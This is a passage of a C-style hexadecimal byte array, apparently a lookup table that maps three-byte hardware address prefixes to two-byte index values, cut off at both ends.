0x74, 0xA1, 0xa7, 0x27,\r\n0x04, 0x75, 0x03, 0xda, 0x14,\r\n0x04, 0x75, 0xF5, 0xa8, 0x27,\r\n0x04, 0x76, 0x6E, 0x93, 0x02,\r\n0x04, 0x78, 0x63, 0x0e, 0x03,\r\n0x04, 0x79, 0x70, 0xda, 0x14,\r\n0x04, 0x7D, 0x50, 0xe9, 0x01,\r\n0x04, 0x7D, 0x7B, 0x20, 0x13,\r\n0x04, 0x7E, 0x4A, 0xa9, 0x27,\r\n0x04, 0x81, 0xAE, 0xaa, 0x27,\r\n0x04, 0x84, 0x8A, 0xab, 0x27,\r\n0x04, 0x88, 0x45, 0x79, 0x00,\r\n0x04, 0x88, 0x8C, 0xac, 0x27,\r\n0x04, 0x88, 0xE2, 0xad, 0x27,\r\n0x04, 0x8A, 0x15, 0xc2, 0x03,\r\n0x04, 0x8A, 0xE1, 0x10, 0x05,\r\n0x04, 0x8B, 0x42, 0xae, 0x27,\r\n0x04, 0x8C, 0x03, 0xaf, 0x27,\r\n0x04, 0x8D, 0x38, 0x98, 0x22,\r\n0x04, 0x92, 0xEE, 0xb0, 0x27,\r\n0x04, 0x94, 0x6B, 0xb1, 0x27,\r\n0x04, 0x94, 0xA1, 0xb2, 0x27,\r\n0x04, 0x95, 0x73, 0xe1, 0x12,\r\n0x04, 0x95, 0xE6, 0xb3, 0x27,\r\n0x04, 0x96, 0x45, 0xb4, 0x27,\r\n0x04, 0x97, 0x90, 0xb5, 0x27,\r\n0x04, 0x98, 0xF3, 0x93, 0x02,\r\n0x04, 0x99, 0xE6, 0xe9, 0x01,\r\n0x04, 0x9B, 0x9C, 0xb6, 0x27,\r\n0x04, 0x9C, 0x62, 0xb7, 0x27,\r\n0x04, 0x9F, 0x06, 0xb8, 0x27,\r\n0x04, 0x9F, 0x81, 0x10, 0x23,\r\n0x04, 0x9F, 0xCA, 0xda, 0x14,\r\n0x04, 0xA1, 0x51, 0x68, 0x08,\r\n0x04, 0xA3, 0x16, 0xeb, 0x0f,\r\n0x04, 0xA3, 0xF3, 0xb9, 0x27,\r\n0x04, 0xA8, 0x2A, 0x4f, 0x12,\r\n0x04, 0xAB, 0x18, 0xba, 0x27,\r\n0x04, 0xAC, 0x44, 0xbb, 0x27,\r\n0x04, 0xB0, 0xE7, 0xda, 0x14,\r\n0x04, 0xB1, 0x67, 0x34, 0x24,\r\n0x04, 0xB3, 0xB6, 0xbc, 0x27,\r\n0x04, 0xB4, 0x66, 0xbd, 0x27,\r\n0x04, 0xB6, 0x48, 0xbe, 0x27,\r\n0x04, 0xBA, 0x36, 0xbf, 0x27,\r\n0x04, 0xBB, 0xF9, 0xc0, 0x27,\r\n0x04, 0xBD, 0x70, 0xda, 0x14,\r\n0x04, 0xBD, 0x88, 0x58, 0x0a,\r\n0x04, 0xBF, 0x6D, 0xc6, 0x10,\r\n0x04, 0xBF, 0xA8, 0xc1, 0x27,\r\n0x04, 0xC0, 0x5B, 0xc2, 0x27,\r\n0x04, 0xC0, 0x6F, 0xda, 0x14,\r\n0x04, 0xC0, 0x9C, 0xfd, 0x1f,\r\n0x04, 0xC1, 0x03, 0xc3, 0x27,\r\n0x04, 0xC1, 0xB9, 0x54, 0x1f,\r\n0x04, 0xC2, 0x3E, 0x3f, 0x08,\r\n0x04, 0xC2, 0x41, 0x4f, 0x12,\r\n0x04, 0xC5, 0xA4, 0x05, 0x00,\r\n0x04, 0xC8, 0x80, 0xc4, 0x27,\r\n0x04, 0xC9, 0x91, 0xc5, 0x27,\r\n0x04, 0xC9, 0xD9, 0xab, 0x07,\r\n0x04, 0xCB, 0x1D, 0xc6, 0x27,\r\n0x04, 0xCE, 0x14, 0xc7, 0x27,\r\n0x04, 0xCF, 0x25, 0xc8, 0x27,\r\n0x04, 0xD1, 0x3A, 0x34, 0x24,\r\n0x04, 0xD3, 0xB0, 0x80, 0x10,\r\n0x04, 0xD3, 0xCF, 0x51, 0x03,\r\n0x04, 0xD4, 0x37, 0xc9, 0x27,\r\n0x04, 0xD6, 0xAA, 0x4f, 0x02,\r\n0x04, 0xD7, 0x83, 0xca, 0x27,\r\n0x04, 0xDA, 0xD2, 0x05, 0x00,\r\n0x04, 0xDB, 0x56, 0x51, 0x03,\r\n0x04, 0xDB, 0x8A, 0xcb, 0x27,\r\n0x04, 0xDD, 0x4C, 0xcc, 0x27,\r\n0x04, 0xDE, 0xDB, 0xcd, 0x27,\r\n0x04, 0xDE, 0xF2, 0xe9, 0x01,\r\n0x04, 0xDF, 0x69, 0xce, 0x27,\r\n0x04, 0xE0, 0xB0, 0xe9, 0x01,\r\n0x04, 0xE0, 0xC4, 0xcf, 0x27,\r\n0x04, 0xE1, 0xC8, 0xd0, 0x27,\r\n0x04, 0xE2, 0x29, 0xf7, 0x19,\r\n0x04, 0xE2, 0xF8, 0xd1, 0x27,\r\n0x04, 0xE4, 0x51, 0xeb, 0x0f,\r\n0x04, 0xE5, 0x36, 0x51, 0x03,\r\n0x04, 0xE5, 0x48, 0xd2, 0x27,\r\n0x04, 0xE6, 0x62, 0xd3, 0x27,\r\n0x04, 0xE6, 0x76, 0x8e, 0x1c,\r\n0x04, 0xE9, 0xE5, 0xd4, 0x27,\r\n0x04, 0xEC, 0xBB, 0x54, 0x1f,\r\n0x04, 0xEE, 0x91, 0xd5, 0x27,\r\n0x04, 0xF0, 0x21, 0xd6, 0x27,\r\n0x04, 0xF1, 0x28, 0xd7, 0x27,\r\n0x04, 0xF1, 0x3E, 0x51, 0x03,\r\n0x04, 0xF1, 0x7D, 0xd8, 0x27,\r\n0x04, 0xF4, 0xBC, 0xd9, 0x27,\r\n0x04, 0xF7, 0xE4, 0x51, 0x03,\r\n0x04, 0xF8, 0xC2, 0x91, 0x10,\r\n0x04, 0xF9, 0x38, 0xda, 0x14,\r\n0x04, 0xFA, 0x3F, 0xda, 0x27,\r\n0x04, 0xFA, 0x83, 0xf7, 0x19,\r\n0x04, 0xFE, 0x31, 0x4f, 0x02,\r\n0x04, 0xFE, 0x7F, 0x05, 0x00,\r\n0x04, 0xFE, 0x8D, 0xda, 0x14,\r\n0x04, 0xFE, 0xA1, 0xdb, 0x27,\r\n0x04, 0xFF, 0x51, 0xdc, 0x27,\r\n0x08, 0x00, 0x01, 0x63, 0x00,\r\n0x08, 0x00, 0x02, 0xdd, 0x27,\r\n0x08, 0x00, 0x03, 0xde, 0x27,\r\n0x08, 0x00, 0x04, 0xdf, 0x27,\r\n0x08, 0x00, 0x05, 0xe0, 0x27,\r\n0x08, 0x00, 0x06, 0xf8, 0x0e,\r\n0x08, 0x00, 0x07, 0x51, 0x03,\r\n0x08, 0x00, 0x08, 0xe1, 0x27,\r\n0x08, 0x00, 0x09, 0x51, 0x22,\r\n0x08, 0x00, 0x0A, 0xe2, 0x27,\r\n0x08, 0x00, 0x0B, 0xe3, 0x27,\r\n0x08, 0x00, 0x0C, 0xe4, 0x27,\r\n0x08, 0x00, 0x0D, 0xe5, 0x27,\r\n0x08, 0x00, 0x0E, 0xe6, 0x27,\r\n0x08, 0x00, 0x0F, 0xe7, 0x27,\r\n0x08, 0x00, 0x10, 0xe8, 0x27,\r\n0x08, 0x00, 0x11, 0xe9, 0x27,\r\n0x08, 0x00, 0x12, 0xb7, 0x22,\r\n0x08, 0x00, 0x13, 0xea, 0x27,\r\n0x08, 0x00, 0x14, 0xeb, 0x27,\r\n0x08, 0x00, 0x15, 0xec, 0x27,\r\n0x08, 0x00, 0x16, 0xed, 0x27,\r\n0x08, 0x00, 0x17, 0xf5, 0x04,\r\n0x08, 0x00, 0x18, 0xee, 0x27,\r\n0x08, 0x00, 0x19, 0xef, 0x27,\r\n0x08, 0x00, 0x1A, 0xf0, 0x27,\r\n0x08, 0x00, 0x1B, 0x8f, 0x00,\r\n0x08, 0x00, 0x1C, 0xf1, 0x27,\r\n0x08, 0x00, 0x1D, 0xf2, 0x27,\r\n0x08, 0x00, 0x1E, 0x83, 0x22,\r\n0x08, 0x00, 0x1F, 0xfe, 0x13,\r\n0x08, 0x00, 0x20, 0x10, 0x00,\r\n0x08, 0x00, 0x21, 0xf3, 0x27,\r\n0x08, 0x00, 0x22, 0xf4, 0x27,\r\n0x08, 0x00, 0x23, 0x5e, 0x0d,\r\n0x08, 0x00, 0x24, 0xf5, 0x27,\r\n0x08, 0x00, 0x25, 0xf6, 0x27,\r\n0x08, 0x00, 0x26, 0xf7, 0x27,\r\n0x08, 0x00, 0x27, 0xf8, 0x27,\r\n0x08, 0x00, 0x28, 0xf9, 0x27,\r\n0x08, 0x00, 0x29, 0xfa, 0x27,\r\n0x08, 0x00, 0x2A, 0xfb, 0x27,\r\n0x08, 0x00, 0x2B, 0xe9, 0x00,\r\n0x08, 0x00, 0x2C, 0xfc, 0x27,\r\n0x08, 0x00, 0x2D, 0xfd, 0x27,\r\n0x08, 0x00, 0x2E, 0xfe, 0x27,\r\n0x08, 0x00, 0x2F, 0xff, 0x27,\r\n0x08, 0x00, 0x30, 0x2d, 0x00,\r\n0x08, 0x00, 0x31, 0x00, 0x28,\r\n0x08, 0x00, 0x32, 0x01, 0x28,\r\n0x08, 0x00, 0x33, 0x02, 0x28,\r\n0x08, 0x00, 0x34, 0x03, 0x28,\r\n0x08, 0x00, 0x35, 0x04, 0x28,\r\n0x08, 0x00, 0x36, 0x05, 0x28,\r\n0x08, 0x00, 0x37, 0x06, 0x28,\r\n0x08, 0x00, 0x38, 0x07, 0x28,\r\n0x08, 0x00, 0x39, 0x08, 0x28,\r\n0x08, 0x00, 0x3A, 0x09, 0x28,\r\n0x08, 0x00, 0x3B, 0x0a, 0x28,\r\n0x08, 0x00, 0x3C, 0x23, 0x04,\r\n0x08, 0x00, 0x3D, 0x0b, 0x28,\r\n0x08, 0x00, 0x3E, 0x0c, 0x28,\r\n0x08, 0x00, 0x3F, 0x0d, 0x28,\r\n0x08, 0x00, 0x40, 0x0e, 0x28,\r\n0x08, 0x00, 0x41, 0x0f, 0x28,\r\n0x08, 0x00, 0x42, 0x10, 0x28,\r\n0x08, 0x00, 0x43, 0x11, 0x28,\r\n0x08, 0x00, 0x44, 0x12, 0x28,\r\n0x08, 0x00, 0x45, 0xb2, 0x20,\r\n0x08, 0x00, 0x46, 0x34, 0x01,\r\n0x08, 0x00, 0x47, 0x13, 0x28,\r\n0x08, 0x00, 0x48, 0x2f, 0x04,\r\n0x08, 0x00, 0x49, 0x14, 0x28,\r\n0x08, 0x00, 0x4A, 0x15, 0x28,\r\n0x08, 0x00, 0x4B, 0x16, 0x28,\r\n0x08, 0x00, 0x4C, 0x17, 0x28,\r\n0x08, 0x00, 0x4D, 0x18, 0x28,\r\n0x08, 0x00, 0x4E, 0xc0, 0x03,\r\n0x08, 0x00, 0x4F, 0x19, 0x28,\r\n0x08, 0x00, 0x50, 0x1a, 0x28,\r\n0x08, 0x00, 0x51, 0x1b, 0x28,\r\n0x08, 0x00, 0x52, 0x1c, 0x28,\r\n0x08, 0x00, 0x53, 0x1d, 0x28,\r\n0x08, 0x00, 0x55, 0xc6, 0x15,\r\n0x08, 0x00, 0x56, 0xc6, 0x15,\r\n0x08, 0x00, 0x57, 0x1e, 0x28,\r\n0x08, 0x00, 0x58, 0x1f, 0x28,\r\n0x08, 0x00, 0x59, 0x20, 0x28,\r\n0x08, 0x00, 0x5A, 0x2f, 0x02,\r\n0x08, 0x00, 0x5B, 0x21, 0x28,\r\n0x08, 0x00, 0x5C, 0x22, 0x28,\r\n0x08, 0x00, 0x5D, 0x23, 0x28,\r\n0x08, 0x00, 0x5E, 0x24, 0x28,\r\n0x08, 0x00, 0x5F, 0x25, 0x28,\r\n0x08, 0x00, 0x60, 0xf6, 0x09,\r\n0x08, 0x00, 0x61, 0x26, 0x28,\r\n0x08, 0x00, 0x62, 0xd2, 0x0f,\r\n0x08, 0x00, 0x63, 0x27, 0x28,\r\n0x08, 0x00, 0x64, 0x28, 0x28,\r\n0x08, 0x00, 0x65, 0x27, 0x21,\r\n0x08, 0x00, 0x66, 0x29, 0x28,\r\n0x08, 0x00, 0x67, 0x2a, 0x28,\r\n0x08, 0x00, 0x68, 0x2b, 0x28,\r\n0x08, 0x00, 0x69, 0x2c, 0x28,\r\n0x08, 0x00, 0x6A, 0x2d, 0x28,\r\n0x08, 0x00, 0x6B, 0x2e, 0x28,\r\n0x08, 0x00, 0x6C, 0x2f, 0x28,\r\n0x08, 0x00, 0x6D, 0x30, 0x28,\r\n0x08, 0x00, 0x6E, 0x31, 0x28,\r\n0x08, 0x00, 0x6F, 0x8c, 0x23,\r\n0x08, 0x00, 0x70, 0xb2, 0x00,\r\n0x08, 0x00, 0x71, 0x32, 0x28,\r\n0x08, 0x00, 0x72, 0x33, 0x28,\r\n0x08, 0x00, 0x73, 0x34, 0x28,\r\n0x08, 0x00, 0x74, 0x35, 0x28,\r\n0x08, 0x00, 0x75, 0x36, 0x28,\r\n0x08, 0x00, 0x76, 0x37, 0x28,\r\n0x08, 0x00, 0x77, 0x38, 0x28,\r\n0x08, 0x00, 0x78, 0x39, 0x28,\r\n0x08, 0x00, 0x79, 0x3a, 0x28,\r\n0x08, 0x00, 0x7A, 0x3b, 0x28,\r\n0x08, 0x00, 0x7B, 0x97, 0x00,\r\n0x08, 0x00, 0x7C, 0x3c, 0x28,\r\n0x08, 0x00, 0x7E, 0x3d, 0x28,\r\n0x08, 0x00, 0x7F, 0x3e, 0x28,\r\n0x08, 0x00, 0x80, 0x3f, 0x28,\r\n0x08, 0x00, 0x81, 0x40, 0x28,\r\n0x08, 0x00, 0x82, 0x41, 0x28,\r\n0x08, 0x00, 0x83, 0x42, 0x28,\r\n0x08, 0x00, 0x84, 0x43, 0x28,\r\n0x08, 0x00, 0x85, 0x44, 0x28,\r\n0x08, 0x00, 0x86, 0x45, 0x28,\r\n0x08, 0x00, 0x87, 0x46, 0x28,\r\n0x08, 0x00, 0x88, 0x80, 0x00,\r\n0x08, 0x00, 0x89, 0x47, 0x28,\r\n0x08, 0x00, 0x8A, 0x48, 0x28,\r\n0x08, 0x00, 0x8B, 0x49, 0x28,\r\n0x08, 0x00, 0x8C, 0x2d, 0x00,\r\n0x08, 0x00, 0x8D, 0x4a, 0x28,\r\n0x08, 0x00, 0x8E, 0x4b, 0x28,\r\n0x08, 0x00, 0x8F, 0x4c, 0x28,\r\n0x08, 0x00, 0x90, 0x4d, 0x28,\r\n0x08, 0x01, 0x0F, 0x19, 0x1d,\r\n0x08, 0x02, 0x8E, 0x68, 0x08,\r\n0x08, 0x03, 0x71, 0x4e, 0x28,\r\n0x08, 0x05, 0x81, 0xe2, 0x0b,\r\n0x08, 0x05, 0xCD, 0x4f, 0x28,\r\n0x08, 0x08, 0xC2, 0x4f, 0x02,\r\n0x08, 0x08, 0xEA, 0x50, 0x28,\r\n0x08, 0x09, 0xB6, 0x51, 0x28,\r\n0x08, 0x0A, 0x4E, 0x52, 0x28,\r\n0x08, 0x0C, 0x0B, 0x53, 0x28,\r\n0x08, 0x0C, 0xC9, 0x54, 0x28,\r\n0x08, 0x0D, 0x84, 0x55, 0x28,\r\n0x08, 0x0E, 0xA8, 0x56, 0x28,\r\n0x08, 0x0F, 0xFA, 0x57, 0x28,\r\n0x08, 0x11, 0x5E, 0x58, 0x28,\r\n0x08, 0x11, 0x96, 0x80, 0x10,\r\n0x08, 0x14, 0x43, 0x59, 0x28,\r\n0x08, 0x15, 0x2F, 0x4f, 0x02,\r\n0x08, 0x16, 0x51, 0xe9, 0x01,\r\n0x08, 0x17, 0x35, 0x05, 0x00,\r\n0x08, 0x17, 0xF4, 0x2f, 0x02,\r\n0x08, 0x18, 0x1A, 0xe1, 0x12,\r\n0x08, 0x18, 0x4C, 0x5a, 0x28,\r\n0x08, 0x19, 0xA6, 0xda, 0x14,\r\n0x08, 0x1D, 0xC4, 0x41, 0x19,\r\n0x08, 0x1D, 0xFB, 0x0e, 0x03,\r\n0x08, 0x1F, 0x3F, 0x5b, 0x28,\r\n0x08, 0x1F, 0x71, 0xcf, 0x09,\r\n0x08, 0x1F, 0xEB, 0x5c, 0x28,\r\n0x08, 0x1F, 0xF3, 0x05, 0x00,\r\n0x08, 0x21, 0xEF, 0x4f, 0x02,\r\n0x08, 0x23, 0xB2, 0x5d, 0x28,\r\n0x08, 0x25, 0x22, 0x5e, 0x28,\r\n0x08, 0x27, 0x19, 0x5f, 0x28,\r\n0x08, 0x27, 0xCE, 0x60, 0x28,\r\n0x08, 0x2A, 0xD0, 0x61, 0x28,\r\n0x08, 0x2C, 0xB0, 0xea, 0x22,\r\n0x08, 0x2E, 0x5F, 0xc9, 0x01,\r\n0x08, 0x30, 0x6B, 0xd2, 0x16,\r\n0x08, 0x35, 0x71, 0x62, 0x28,\r\n0x08, 0x35, 0xB2, 0x63, 0x28,\r\n0x08, 0x37, 0x3D, 0x4f, 0x02,\r\n0x08, 0x37, 0x9C, 0x64, 0x28,\r\n0x08, 0x38, 0xA5, 0xf5, 0x0b,\r\n0x08, 0x3A, 0x5C, 0x65, 0x28,\r\n0x08, 0x3A, 0xB8, 0x66, 0x28,\r\n0x08, 0x3D, 0x88, 0x4f, 0x02,\r\n0x08, 0x3E, 0x0C, 0xb9, 0x00,\r\n0x08, 0x3E, 0x5D, 0xc4, 0x0c,\r\n0x08, 0x3E, 0x8E, 0xe3, 0x11,\r\n0x08, 0x3F, 0x3E, 0x67, 0x28,\r\n0x08, 0x3F, 0x76, 0x68, 0x28,\r\n0x08, 0x3F, 0xBC, 0xe1, 0x12,\r\n0x08, 0x40, 0x27, 0x69, 0x28,\r\n0x08, 0x40, 0xF3, 0xb3, 0x27,\r\n0x08, 0x46, 0x56, 0x6a, 0x28,\r\n0x08, 0x47, 0xD0, 0x6b, 0x28,\r\n0x08, 0x48, 0x2C, 0x6c, 0x28,\r\n0x08, 0x4A, 0xCF, 0xc8, 0x0a,\r\n0x08, 0x4E, 0x1C, 0x6d, 0x28,\r\n0x08, 0x4E, 0xBF, 0xc6, 0x05,\r\n0x08, 0x51, 0x14, 0x6e, 0x28,\r\n0x08, 0x51, 0x2E, 0x6f, 0x28,\r\n0x08, 0x52, 0x40, 0x70, 0x28,\r\n0x08, 0x57, 0x00, 0xcf, 0x09,\r\n0x08, 0x5A, 0xE0, 0x71, 0x28,\r\n0x08, 0x5B, 0x0E, 0x25, 0x08,\r\n0x08, 0x5B, 0xDA, 0x72, 0x28,\r\n0x08, 0x5D, 0xDD, 0x9c, 0x1e,\r\n0x08, 0x60, 0x6E, 0x20, 0x0b,\r\n0x08, 0x62, 0x66, 0x20, 0x0b,\r\n0x08, 0x63, 0x61, 0xda, 0x14,\r\n0x08, 0x66, 0x1F, 0xd2, 0x16,\r\n0x08, 0x66, 0x98, 0x51, 0x03,\r\n0x08, 0x67, 0x4E, 0x73, 0x28,\r\n0x08, 0x68, 0xD0, 0x74, 0x28,\r\n0x08, 0x68, 0xEA, 0x75, 0x28,\r\n0x08, 0x6A, 0x0A, 0xb7, 0x0f,\r\n0x08, 0x6D, 0x41, 0x51, 0x03,\r\n0x08, 0x6D, 0xF2, 0xe9, 0x01,\r\n0x08, 0x70, 0x45, 0x51, 0x03,\r\n0x08, 0x74, 0x02, 0x51, 0x03,\r\n0x08, 0x74, 0xF6, 0x76, 0x28,\r\n0x08, 0x75, 0x72, 0x77, 0x28,\r\n0x08, 0x76, 0x18, 0x78, 0x28,\r\n0x08, 0x76, 0x95, 0x79, 0x28,\r\n0x08, 0x76, 0xFF, 0xbc, 0x0c,\r\n0x08, 0x78, 0x08, 0x4f, 0x02,\r\n0x08, 0x79, 0x99, 0x7a, 0x28,\r\n0x08, 0x7A, 0x4C, 0xda, 0x14,\r\n0x08, 0x7B, 0xAA, 0x7b, 0x28,\r\n0x08, 0x7C, 0xBE, 0x7c, 0x28,\r\n0x08, 0x7D, 0x21, 0x7d, 0x28,\r\n0x08, 0x80, 0x39, 0xc4, 0x14,\r\n0x08, 0x81, 0xBC, 0x7e, 0x28,\r\n0x08, 0x81, 0xF4, 0x08, 0x05,\r\n0x08, 0x84, 0x66, 0x7f, 0x28,\r\n0x08, 0x86, 0x20, 0xb1, 0x27,\r\n0x08, 0x86, 0x3B, 0xe5, 0x13,\r\n0x08, 0x8C, 0x2C, 0x4f, 0x02,\r\n0x08, 0x8D, 0xC8, 0x80, 0x28,\r\n0x08, 0x8E, 0x4F, 0x81, 0x28,\r\n0x08, 0x8F, 0x2C, 0x82, 0x28,\r\n0x08, 0x94, 0xEF, 0x83, 0x28,\r\n0x08, 0x95, 0x2A, 0xc2, 0x12,\r\n0x08, 0x96, 0xAD, 0x05, 0x00,\r\n0x08, 0x96, 0xD7, 0xc3, 0x03,\r\n0x08, 0x97, 0x34, 0xc9, 0x01,\r\n0x08, 0x97, 0x58, 0xe9, 0x01,\r\n0x08, 0x9B, 0x4B, 0x84, 0x28,\r\n0x08, 0x9E, 0x01, 0x20, 0x13,\r\n0x08, 0x9E, 0x08, 0x0a, 0x16,\r\n0x08, 0x9F, 0x97, 0x85, 0x28,\r\n0x08, 0xA1, 0x2B, 0xe9, 0x01,\r\n0x08, 0xA5, 0xC8, 0x86, 0x28,\r\n0x08, 0xA8, 0xA1, 0x87, 0x28,\r\n0x08, 0xA9, 0x5A, 0xb5, 0x12,\r\n0x08, 0xAC, 0xA5, 0x88, 0x28,\r\n0x08, 0xAE, 0xD6, 0x4f, 0x02,\r\n0x08, 0xAF, 0x78, 0x89, 0x28,\r\n0x08, 0xB2, 0x58, 0x08, 0x05,\r\n0x08, 0xB2, 0xA3, 0x8a, 0x28,\r\n0x08, 0xB4, 0xCF, 0x8b, 0x28,\r\n0x08, 0xB7, 0x38, 0x29, 0x13,\r\n0x08, 0xB7, 0xEC, 0x61, 0x01,\r\n0x08, 0xBA, 0x22, 0x8c, 0x28,\r\n0x08, 0xBB, 0xCC, 0x8d, 0x28,\r\n0x08, 0xBC, 0x20, 0x10, 0x0e,\r\n0x08, 0xBD, 0x43, 0x68, 0x08,\r\n0x08, 0xBE, 0x09, 0x8e, 0x28,\r\n0x08, 0xBE, 0x77, 0x8f, 0x28,\r\n0x08, 0xBE, 0xAC, 0x9f, 0x0c,\r\n0x08, 0xC0, 0x21, 0xda, 0x14,\r\n0x08, 0xC5, 0xE1, 0x4f, 0x02,\r\n0x08, 0xC6, 0xB3, 0x38, 0x1a,\r\n0x08, 0xCA, 0x45, 0x90, 0x28,\r\n0x08, 0xCC, 0x68, 0x05, 0x00,\r\n0x08, 0xCC, 0xA7, 0x05, 0x00,\r\n0x08, 0xCD, 0x9B, 0x91, 0x28,\r\n0x08, 0xD0, 0x9F, 0x05, 0x00,\r\n0x08, 0xD0, 0xB7, 0xf7, 0x19,\r\n0x08, 0xD2, 0x9A, 0x92, 0x28,\r\n0x08, 0xD3, 0x4B, 0x93, 0x28,\r\n0x08, 0xD4, 0x0C, 0x80, 0x10,\r\n0x08, 0xD4, 0x2B, 0x4f, 0x02,\r\n0x08, 0xD4, 0x6A, 0xce, 0x17,\r\n0x08, 0xD5, 0xC0, 0x94, 0x28,\r\n0x08, 0xD8, 0x33, 0xe9, 0x01,\r\n0x08, 0xDF, 0x1F, 0x37, 0x0b,\r\n0x08, 0xDF, 0xCB, 0x95, 0x28,\r\n0x08, 0xE5, 0xDA, 0x96, 0x28,\r\n0x08, 0xE6, 0x72, 0x97, 0x28,\r\n0x08, 0xE6, 0x89, 0x51, 0x03,\r\n0x08, 0xE8, 0x4F, 0xda, 0x14,\r\n0x08, 0xEA, 0x40, 0xe9, 0x01,\r\n0x08, 0xEA, 0x44, 0x95, 0x15,\r\n0x08, 0xEB, 0x29, 0x98, 0x28,\r\n0x08, 0xEB, 0x74, 0x38, 0x03,\r\n0x08, 0xEB, 0xED, 0x99, 0x28,\r\n0x08, 0xEC, 0xA9, 0x4f, 0x02,\r\n0x08, 0xED, 0x02, 0x57, 0x17,\r\n0x08, 0xED, 0xB9, 0xe3, 0x11,\r\n0x08, 0xEE, 0x8B, 0x4f, 0x02,\r\n0x08, 0xEF, 0x3B, 0xd7, 0x19,\r\n0x08, 0xEF, 0xAB, 0x9a, 0x28,\r\n0x08, 0xF1, 0xB7, 0x9b, 0x28,\r\n0x08, 0xF2, 0xF4, 0x9c, 0x28,\r\n0x08, 0xF4, 0xAB, 0x51, 0x03,\r\n0x08, 0xF6, 0x9C, 0x51, 0x03,\r\n0x08, 0xF6, 0xF8, 0x9d, 0x28,\r\n0x08, 0xF7, 0x28, 0x9e, 0x28,\r\n0x08, 0xFA, 0xE0, 0x9f, 0x28,\r\n0x08, 0xFC, 0x52, 0xa0, 0x28,\r\n0x08, 0xFC, 0x88, 0x4f, 0x02,\r\n0x08, 0xFD, 0x0E, 0x4f, 0x02,\r\n0x09, 0x00, 0x6A, 0x4e, 0x00,\r\n0x0A, 0x87, 0x36, 0xa1, 0x28,\r\n0x0C, 0x01, 0xDB, 0xa2, 0x28,\r\n0x0C, 0x02, 0x27, 0xc2, 0x12,\r\n0x0C, 0x04, 0x00, 0xa3, 0x28,\r\n0x0C, 0x05, 0x35, 0xa4, 0x28,\r\n0x0C, 0x08, 0xB4, 0x38, 0x03,\r\n0x0C, 0x11, 0x05, 0xa5, 0x28,\r\n0x0C, 0x11, 0x67, 0x05, 0x00,\r\n0x0C, 0x12, 0x62, 0xe1, 0x12,\r\n0x0C, 0x13, 0x0B, 0xa6, 0x28,\r\n0x0C, 0x14, 0x20, 0x4f, 0x02,\r\n0x0C, 0x15, 0x39, 0x51, 0x03,\r\n0x0C, 0x15, 0xC5, 0xa7, 0x28,\r\n0x0C, 0x17, 0xF1, 0xa8, 0x28,\r\n0x0C, 0x19, 0x1F, 0xa9, 0x28,\r\n0x0C, 0x1A, 0x10, 0xaa, 0x28,\r\n0x0C, 0x1C, 0x20, 0xab, 0x28,\r\n0x0C, 0x1D, 0xAF, 0x34, 0x24,\r\n0x0C, 0x1D, 0xC2, 0xac, 0x28,\r\n0x0C, 0x20, 0x26, 0xad, 0x28,\r\n0x0C, 0x21, 0x38, 0xae, 0x28,\r\n0x0C, 0x23, 0x69, 0xc2, 0x05,\r\n0x0C, 0x25, 0x76, 0x06, 0x1d,\r\n0x0C, 0x27, 0x24, 0x05, 0x00,\r\n0x0C, 0x27, 0x55, 0xaf, 0x28,\r\n0x0C, 0x2A, 0x69, 0xb0, 0x28,\r\n0x0C, 0x2A, 0xE7, 0x0b, 0x0a,\r\n0x0C, 0x2C, 0x54, 0xda, 0x14,\r\n0x0C, 0x2D, 0x89, 0xb1, 0x28,\r\n0x0C, 0x30, 0x21, 0x51, 0x03,\r\n0x0C, 0x37, 0x47, 0xe1, 0x12,\r\n0x0C, 0x37, 0xDC, 0xda, 0x14,\r\n0x0C, 0x38, 0x3E, 0xb2, 0x28,\r\n0x0C, 0x39, 0x56, 0xb3, 0x28,\r\n0x0C, 0x3C, 0x65, 0xb4, 0x28,\r\n0x0C, 0x3C, 0xCD, 0x0a, 0x01,\r\n0x0C, 0x3E, 0x9F, 0x51, 0x03,\r\n0x0C, 0x41, 0x3E, 0xb4, 0x03,\r\n0x0C, 0x41, 0xE9, 0xda, 0x14,\r\n0x0C, 0x45, 0xBA, 0xda, 0x14,\r\n0x0C, 0x46, 0x9D, 0xb5, 0x28,\r\n0x0C, 0x47, 0x3D, 0x4a, 0x05,\r\n0x0C, 0x47, 0xC9, 0x96, 0x22,\r\n0x0C, 0x48, 0x85, 0xce, 0x17,\r\n0x0C, 0x49, 0x33, 0x0b, 0x1d,\r\n0x0C, 0x4B, 0x54, 0xcf, 0x09,\r\n0x0C, 0x4C, 0x39, 0xb6, 0x28,\r\n0x0C, 0x4D, 0xE9, 0x51, 0x03,\r\n0x0C, 0x4F, 0x5A, 0xb7, 0x28,\r\n0x0C, 0x51, 0x01, 0x51, 0x03,\r\n0x0C, 0x51, 0xF7, 0xb8, 0x28,\r\n0x0C, 0x52, 0x03, 0xb9, 0x28,\r\n0x0C, 0x54, 0x15, 0x80, 0x10,\r\n0x0C, 0x54, 0xA5, 0x97, 0x22,\r\n0x0C, 0x54, 0xB9, 0x4f, 0x12,\r\n0x0C, 0x55, 0x21, 0xba, 0x28,\r\n0x0C, 0x56, 0x5C, 0xbb, 0x28,\r\n0x0C, 0x57, 0xEB, 0xbc, 0x28,\r\n0x0C, 0x58, 0x42, 0xbd, 0x28,\r\n0x0C, 0x5A, 0x19, 0xbe, 0x28,\r\n0x0C, 0x5A, 0x9E, 0xbf, 0x28,\r\n0x0C, 0x5C, 0xD8, 0xc0, 0x28,\r\n0x0C, 0x5F, 0x35, 0xc1, 0x28,\r\n0x0C, 0x60, 0x76, 0xe3, 0x11,\r\n0x0C, 0x61, 0x11, 0xc2, 0x28,\r\n0x0C, 0x61, 0x27, 0xe7, 0x0d,\r\n0x0C, 0x61, 0xCF, 0xeb, 0x0f,\r\n0x0C, 0x62, 0xA6, 0xc3, 0x28,\r\n0x0C, 0x63, 0xFC, 0x62, 0x0b,\r\n0x0C, 0x68, 0x03, 0x05, 0x00,\r\n0x0C, 0x6A, 0xBC, 0x54, 0x1f,\r\n0x0C, 0x6A, 0xE6, 0xc4, 0x28,\r\n0x0C, 0x6E, 0x4F, 0xc5, 0x28,\r\n0x0C, 0x6F, 0x9C, 0xc6, 0x28,\r\n0x0C, 0x70, 0x4A, 0xda, 0x14,\r\n0x0C, 0x71, 0x5D, 0x4f, 0x02,\r\n0x0C, 0x72, 0x2C, 0xcf, 0x09,\r\n0x0C, 0x72, 0xD9, 0xe1, 0x12,\r\n0x0C, 0x73, 0xBE, 0x4f, 0x28,\r\n0x0C, 0x73, 0xEB, 0x57, 0x17,\r\n0x0C, 0x74, 0xC2, 0x51, 0x03,\r\n0x0C, 0x75, 0x23, 0x0b, 